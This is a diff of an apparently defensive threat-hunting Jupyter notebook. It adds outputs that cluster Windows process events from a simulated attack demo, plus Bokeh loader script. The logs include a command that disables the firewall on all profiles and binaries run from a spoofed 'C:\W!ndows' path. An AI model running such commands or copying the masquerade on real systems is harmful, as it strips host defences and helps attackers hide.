VKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEXAN+fjjj9W3b19NmzbN2VEAAABMw8XZAQD8n23btmny5MkaNmyYs6MAAACYBqUIqGUZGRl6/fXX5eLiomPHjqlr166aMGGCpk6dqltvvVWHDx9W586ddffddyspKUnFxcV67bXX9Pnnn+uDDz7Qnj171KRJE/Xs2VOzZ8/WyZMndd1112nWrFm64447NGzYMA0bNkyPPPKIZs2apZYtW+rZZ59VcnKyVq5cKbvdri5duuj555+Xm5vbBdkyMzP10ksv6ezZs2rTpo1eeOEFtWnTRkOGDNHcuXPl4+OjJ554Qn5+fnrssccUHx+vrVu3ymazqU+fPoqIiJDFYnHSygIAANQNts8BdeCLL75QVFSUtm3bpvLycn388cc6dOiQnnzySaWkpOjzzz/XTz/9pPfee08BAQF677339Mgjj8jPz0/h4eF65JFHFBkZqYiICCUlJenFF1/U1KlTZbVaNW/ePMXFxWnTpk3KzMzUlClT9N1332nt2rVas2aNUlJS5O7urrfeeuuCTBUVFYqOjtbChQuVlJSkMWPGaNasWWrRooXmzp2r2bNna/Xq1bJYLHrssceUnp6urKwsJSYmKjk5WXl5eUpNTXXSigLAtW/XrnTt2pXu7BgArgJnioA60KNHD916662SpKCgIK1du1bt2rVT586dJUkdO3aUj4+PJMnT01PHjh274PmlpaXKysrSzJkzHfedOXNGJ06cUKdOnTRy5Eg9++yzSkpKkqurqzIyMnT06FENHTpUklRZWel4rfN++OEH5eTkaMKECY77SkpKJEk+Pj7y9vbWokWLtHXrVknSnj17lJmZqZCQEEnS2bNn5enpWWtrBACNTULCKkmSr28/JycBUFOUIqAOWK1Wx68Nw5DVapWrq+tlj/lPdrtdrq6uSklJcdyXm5ur1q1bS5KOHDmi1q1b68CBA7rjjjtks9k0cOBARUdHSzpXqmw220Vj3njjjY4xbTabCgsLHRmPHDmiZs2a6ciRI2rfvr1sNptGjx6tMWPGSJJOnTr1q5kBAAAaKrbPAXVg//79ysvLk91uV3Jysvr1q9m/GrZs2VK33HKLo8Ds2rVLjz32mCTpo48+0sGDB7VmzRotWrRIeXl56tWrl95//30VFRXJMAzNnj1bK1euvGDMW2+9VcXFxfrss88kSevXr9f06dMlSQkJCWrevLlef/11zZo1S6WlpfL29lZKSopKS0tVVVWlSZMmKS0t7bcuDQA0WhUV5aqoKHd2DABXgTNFQB1o3769nn32WeXl5cnX11e9e/dWfHx8jcaYP3++Zs+erRUrVqhp06Z65ZVXdPr0ac2ePVtLly7Vf/3Xf2n06NGaNWuW4uPjNXnyZI0ePVp2u11eXl4aP368JCkqKkp+fn4aMGCAFi9erLlz56q8vFwtWrTQvHnzlJOTo2XLlmndunW6/vrr1adPH8drHzx4UEOHDpXNZlPfvn0VHBxcF8sFAI3Cf56hB9BwWAzDMJwdAmhMMjIytHTpUr377rvOjuJ0RUUlstur9xbj4dFSBQWn6ziRczC3hqexzktibnVp7NgwSdLbbyfU+tjOntvV8vBo6ewIQLWwfQ4AAACAqbF9DqhlvXr1Uq9evZwdAwAAANXEmSIAAAAApkYpAgAAAGBqlCIAAAAApsZnigAAAGoBX3ANNFyUIgAAgFrg6urm7AgArhLb5wAAAACYGmeKAAAAakFY2ChnRwBwlShFAAAAtcDXt5+zIwC4SmyfAwAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAq5xa9eu1aZNm5wdAwAAoNGiFAHXuM8//1wVFRXOjgEAANBouTg7AGBGubm5mj59us6cOaMmTZooOjpaTZo00UsvvaSzZ8+qTZs2euGFF5STk6OdO3fq008/lYeHhzZv3qyePXsqJCREknTHHXfo0KFDWrJkif7973/r+++/14kTJzRs2DCNGzfuoteNj4/X1q1bZbPZ1KdPH0VERGjnzp2KjY1VamqqcnNzNXLkSK1bt05Wq1UxMTHKzc2VxWLRtGnT1Lt37/peKgAAgDpHKQKcIDExUffdd5/GjRun9PR07du3Txs3btTy5cvl6empTz75RLNmzdLf/vY3+fn5qWfPnurbt682b9582TGzsrK0Zs0a2e12hYSEyMfHR126dHE8np6erqysLCUmJspisSgiIkKpqakKCgrS9u3btXz5cmVkZCgyMlIdOnTQ1KlTFRoaqgEDBig/P19hYWFKTk5WixYt6mOJUA0JCauUk3PUqRmaNrWqstLm1Ax1oaTklGw2u1q1au3sKLXO2T+zm266WWFho5z2+gBwKZQiwAl8fHz09NNP68CBA7r33nt177336vXXX9eECRMcx5SUlNRozICAAP3ud7+TJPn5+enTTz+9oBTt2bNHmZmZjrNMZ8+elaenpyQpKipKgwYNUvfu3TV48GBJ0u7du5Wdna24uDhJUlVVlXJycuTl5XX1E0etysk5qh8OH1THFs57Kz/rtFeuW4UlVZIkt7JCJyepfc78meX+77oCwLWGUgQ4wT333KPNmzfro48+0pYtW7Ru3TrdeOONSklJkSTZbDYVFl78lzGLxSLDMCRJlZWVFzxmtVodv7bb7RfcPj/m6NGjNWbMGEnSqVOnHMcUFhbKarUqOztb5eXlcnNzk91u18qVK9W69bl/Kc/Pz5e7u3strQBqS8cWLhrTta2zYzQ672QelyTWtpadX1cAuNZwoQXACc5/hic4OFgxMTE6ePCgiouL9dlnn0mS1q9fr+nTp0s6V3ZstnNbXVq3bq3Dhw9Lknbs2HHBmDt27FBFRYWKi4v14Ycfqk+fPhc87u3trZSUFJWWlqqqqkqTJk1SWlqabDabZs6cqaioKPXs2VOLFy92HJ+QkCBJOnz4sAIDA1VWVlZ3i4IaKy4+qZIKu7NjANVWUmFXcfFJZ8cAgItwpghwgpEjR2ratGnasGGDrFar5s+fr1atWmnu3LkqLy9XixYtNG/ePElS7969tWjRIrVs2VKPPvqopkyZosDAQHl7e8vDw8Mxppubm8LCwlRSUqKnnnpKt912m/Ly8jR+/HilpKTIz89PBw8e1NChQ2Wz2dS3b18FBwdrxYoVcnd3l7+/v3r37q2AgAD5+/srOjpaMTExCgwMlHSuyPF5omtLcXGx7JQiNCAlFXY1KS52dgwAuIjFOL8XB0CDtWTJEknS008/7eQkFyoqKpHdXr23GA+PliooOF3HiZyjruY2adI42SvKNLN3+1of2+zYPlc3XtqdryauzfTaayvqZHzeR649Hh4tnR0BqBa2zwEAAAAwNbbPAY3AtXaGCAAAoCHhTBEAAAAAU6MUAQAAADA1ShEAAAAAU+MzRQDQQLVq1UqVxeXOjgFUWwvXJmraqpWzYwDARThTBAANVKtWrdXClbdxNBwtXJuoVavWzo4BABfhTBEANGC5JVWO79RB7cktqZIk1raW5ZZU6RZnhwCAS6AUAUADddNNNzs7gpo2taqy0ubsGLWuXckp2Wx2XdcIz2o482d2i66N37cA8J8oRQDQQIWFjXJ2BHl4tFRBwWlnx6h1jXVeUuOeGwBcLTajAwAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAXUkNzdXI0aMUEhIiB5++GF9+eWX8vPzU2xsrB566CE99NBD+vbbbyVJI0eO1Ny5cxUcHKxBgwbpn//8pyRp48aNCgoKUkhIiMLDw1VeXq7JkycrLS3N8TohISH69ttvdeDAAT3yyCMKDAzUiBEjlJube1Gm5ORkBQcHKygoSM8995zKy8v1zTffyNfXV8ePH9fJkyfVv39/HThwQKWlpYqMjFRISIiCgoK0adOm+lk4AACAekYpAupIYmKi7rvvPm3YsEHh4eHav3+/JKl58+ZKTk5WeHi4IiMjHceXlJQoKSlJCxcu1IwZM1RRUaFXX31Vb7/9tjZs2KAbbrhB2dnZCgoK0ubNmyVJP/zwg8rLy9W5c2dNnz5dEydO1MaNGzVo0CCtXLnygjzfffed1q5dqzVr1iglJUXu7u5666231KVLFw0bNkyxsbF68cUX9eijj8rLy0vLli1Tly5dtGHDBq1evVrLly9XTk5O/S2gk+3ala5du9KdHQMAANQDF2cHABorHx8fPf300zpw4IDuvfdejRgxQqtXr9bQoUMlSX5+fpoxY4aOHz8uSY77vby85OHhoUOHDql///569NFHdf/99+vBBx+Ul5eXOnXqpDlz5qikpESbNm3SkCFDdPz4cRUUFKh///6SpLCwsIvyZGRk6OjRo47XqaysVOfOnSVJEyZMUGhoqK677jrNnz9fkrR7926dPXtW69evlySdOXNG3333nW666aY6XLVrR0LCKkmSr28/JycBAAB1jVIE1JF77rlHmzdv1kcffaQtW7YoKSlJkuTi8n9/7Ox2u6xWqyQ5/nv+fhcXF0VHR+vgwYP6+OOPFRERocmTJysoKEj9+/fXzp07tW3bNr3xxhtq2rSpLBaL4/nl5eXKz8+/oMDYbDYNHDhQ0dHRkqTS0lLZbDZJ0unTp1VaWqrS0lKdPHlSbdu2ld1u1/z589WlSxdJUmFhoVq1alVH4QaVOwAAFKlJREFUqwUAAOA8bJ8D6khsbKxSU1MVHBysmJgYx+eHzm99e//999WpUydH0diyZYsk6euvv9apU6fUqVMn+fv7q02bNnrqqacUFBSkAwcOSJKCgoL0zjv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652019-02-13 22:08:46.457000+00:002019-02-13 23:08:46.480000+00:00C:\\Windows\\System32\\MusNotification.exeC:\\Windows\\system32\\MusNotification.exe Display363826True
352019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524...1214198True
1282019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZG...1194895True
1252019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\Temp\\CR_42BC8.tmp\\setup.exeC:\\Windows\\TEMP\\CR_42BC8.tmp\\setup.exe --type=crashpad-handler /prefetch:7 --monitor-self-annota...1643493True
1242019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\Temp\\CR_42BC8.tmp\\setup.exe\"C:\\Windows\\TEMP\\CR_42BC8.tmp\\setup.exe\" --install-archive=\"C:\\Windows\\TEMP\\CR_42BC8.tmp\\CHROME_...1463493True
1232019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\" --type=crash...1757204True
1222019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\" --update-set...1617204True
1172019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler1174895True
1212019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Program Files (x86)\\Google\\Update\\Install\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\72.0.3626.10...\"C:\\Program Files (x86)\\Google\\Update\\Install\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\72.0.3626.1...1389884True
1132019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\sppsvc.exeC:\\Windows\\system32\\sppsvc.exe152933True
1022019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\W!ndows\\System32\\netsh.exe.\\netsh.exe firewall set opmode mode=disable profile=all1102736False
1012019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\W!ndows\\System32\\tsetup.1.exe.\\tsetup.1.exe C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetup.1.0.14.tmp\" /SL5=\"$...1382962False
1002019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\cmd.execmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com1122570False
992019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\cmd.execmd /c echo Any questions about the commands executed here then please contact one of1162570False
972019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\conhost.exe\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV11103028False
962019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\cmd.execmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 41132570True
782019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...11310527True
772019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\servicing\\TrustedInstaller.exeC:\\Windows\\servicing\\TrustedInstaller.exe154175True
512019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\cmd.exe\"cmd\"122570True
1142019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding183546True
162019-02-13 22:09:28.600000+00:002019-02-13 23:11:46.190000+00:00C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding6103546True
122019-02-13 22:11:41.790000+00:002019-02-13 23:11:41.810000+00:00C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe...2279122True
1262019-02-13 22:29:08.390000+00:002019-02-13 22:29:08.397000+00:00C:\\Program Files (x86)\\Google\\Update\\1.3.33.23\\GoogleCrashHandler.exe\"C:\\Program Files (x86)\\Google\\Update\\1.3.33.23\\GoogleCrashHandler.exe\"2166016True
952019-02-13 22:29:09.260000+00:002019-02-13 23:07:23.830000+00:00C:\\Windows\\System32\\dllhost.exeC:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}2123024True
982019-02-13 23:07:24.127000+00:002019-02-13 23:07:24.337000+00:00C:\\Windows\\System32\\cmd.execmd /c echo Begin Security Demo tasks282570False
\n", + "
" + ], + "text/plain": [ + " TimeGenerated LastEventTime \\\n", + "0 2019-02-13 22:08:45.003000+00:00 2019-02-13 23:17:45+00:00 \n", + "1 2019-02-13 22:08:45.017000+00:00 2019-02-13 23:17:45.010000+00:00 \n", + "63 2019-02-13 22:08:46.270000+00:00 2019-02-13 23:08:46.277000+00:00 \n", + "65 2019-02-13 22:08:46.457000+00:00 2019-02-13 23:08:46.480000+00:00 \n", + "35 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "128 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "125 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "124 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "123 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "122 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "117 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "121 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "113 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "102 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "101 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "100 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "99 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "97 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "96 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "78 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "77 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "51 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "114 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", + "16 2019-02-13 22:09:28.600000+00:00 2019-02-13 23:11:46.190000+00:00 \n", + "12 2019-02-13 22:11:41.790000+00:00 2019-02-13 23:11:41.810000+00:00 \n", + "126 2019-02-13 22:29:08.390000+00:00 2019-02-13 22:29:08.397000+00:00 \n", + "95 2019-02-13 22:29:09.260000+00:00 2019-02-13 23:07:23.830000+00:00 \n", + "98 2019-02-13 23:07:24.127000+00:00 2019-02-13 23:07:24.337000+00:00 \n", + "\n", + " NewProcessName \\\n", + "0 C:\\Windows\\System32\\cscript.exe \n", + "1 C:\\Windows\\System32\\conhost.exe \n", + "63 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon... \n", + "65 C:\\Windows\\System32\\MusNotification.exe \n", + "35 C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe \n", + "128 C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe \n", + "125 C:\\Windows\\Temp\\CR_42BC8.tmp\\setup.exe \n", + "124 C:\\Windows\\Temp\\CR_42BC8.tmp\\setup.exe \n", + "123 C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe \n", + "122 C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe \n", + "117 C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe \n", + "121 C:\\Program Files (x86)\\Google\\Update\\Install\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\72.0.3626.10... \n", + "113 C:\\Windows\\System32\\sppsvc.exe \n", + "102 C:\\W!ndows\\System32\\netsh.exe \n", + "101 C:\\W!ndows\\System32\\tsetup.1.exe \n", + "100 C:\\Windows\\System32\\cmd.exe \n", + "99 C:\\Windows\\System32\\cmd.exe \n", + "97 C:\\Windows\\System32\\conhost.exe \n", + "96 C:\\Windows\\System32\\cmd.exe \n", + "78 C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7... \n", + "77 C:\\Windows\\servicing\\TrustedInstaller.exe \n", + "51 C:\\Windows\\System32\\cmd.exe \n", + "114 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", + "16 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", + "12 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe \n", + "126 C:\\Program Files (x86)\\Google\\Update\\1.3.33.23\\GoogleCrashHandler.exe \n", + "95 C:\\Windows\\System32\\dllhost.exe \n", + "98 C:\\Windows\\System32\\cmd.exe \n", + "\n", + " CommandLine \\\n", + "0 \"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\" \n", + "1 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", + "63 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo... \n", + "65 C:\\Windows\\system32\\MusNotification.exe Display \n", + "35 \"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524... \n", + "128 \"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZG... \n", + "125 C:\\Windows\\TEMP\\CR_42BC8.tmp\\setup.exe --type=crashpad-handler /prefetch:7 --monitor-self-annota... \n", + "124 \"C:\\Windows\\TEMP\\CR_42BC8.tmp\\setup.exe\" --install-archive=\"C:\\Windows\\TEMP\\CR_42BC8.tmp\\CHROME_... \n", + "123 \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\" --type=crash... \n", + "122 \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\" --update-set... \n", + "117 \"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler \n", + "121 \"C:\\Program Files (x86)\\Google\\Update\\Install\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\72.0.3626.1... \n", + "113 C:\\Windows\\system32\\sppsvc.exe \n", + "102 .\\netsh.exe firewall set opmode mode=disable profile=all \n", + "101 .\\tsetup.1.exe C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetup.1.0.14.tmp\" /SL5=\"$... \n", + "100 cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com \n", + "99 cmd /c echo Any questions about the commands executed here then please contact one of \n", + "97 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", + "96 cmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 4 \n", + "78 C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7... \n", + "77 C:\\Windows\\servicing\\TrustedInstaller.exe \n", + "51 \"cmd\" \n", + "114 C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding \n", + "16 C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding \n", + "12 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe... \n", + "126 \"C:\\Program Files (x86)\\Google\\Update\\1.3.33.23\\GoogleCrashHandler.exe\" \n", + "95 C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} \n", + "98 cmd /c echo Begin Security Demo tasks \n", + "\n", + " ClusterSize commandlineTokensFull pathScore isSystemSession \n", + "0 70 13 3022 True \n", + "1 79 10 3028 True \n", + "63 4 53 11146 True \n", + "65 3 6 3826 True \n", + "35 1 21 4198 True \n", + "128 1 19 4895 True \n", + "125 1 64 3493 True \n", + "124 1 46 3493 True \n", + "123 1 75 7204 True \n", + "122 1 61 7204 True \n", + "117 1 17 4895 True \n", + "121 1 38 9884 True \n", + "113 1 5 2933 True \n", + "102 1 10 2736 False \n", + "101 1 38 2962 False \n", + "100 1 12 2570 False \n", + "99 1 16 2570 False \n", + "97 1 10 3028 False \n", + "96 1 13 2570 True \n", + "78 1 13 10527 True \n", + "77 1 5 4175 True \n", + "51 1 2 2570 True \n", + "114 1 8 3546 True \n", + "16 6 10 3546 True \n", + "12 2 27 9122 True \n", + "126 2 16 6016 True \n", + "95 2 12 3024 True \n", + "98 2 8 2570 False " + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "if 'clus_events' in locals() and not clus_events.empty:\n", " resp = input('View the clustered data? y/n')\n", @@ -762,14 +4233,27 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 21, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:03.856018Z", "start_time": "2020-05-16T02:20:03.843018Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/markdown": [ + "You can view the cluster members for individual processesby inserting a new cell and entering:
`view_cluster(process_name)`
where process_name is the unqualified process binary. E.g
`view_cluster(\"reg.exe\")`" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# Look at clusters for individual process names\n", "def view_cluster(exe_name):\n", @@ -791,26 +4275,387 @@ }, { "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "test_clus = clus_events\n", - "test_clus[\"TimeGenerated\"] = test_clus[\"TimeGenerated\"].astype(dtype=\"datetime64[ns, UTC]\")\n", - "processes_on_host[\"TimeGenerated\"].dtype\n", - "test_clus[\"TimeGenerated\"].dtype" - ] - }, - { - "cell_type": "code", - "execution_count": null, + "execution_count": 23, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:06.531933Z", "start_time": "2020-05-16T02:20:06.352934Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " 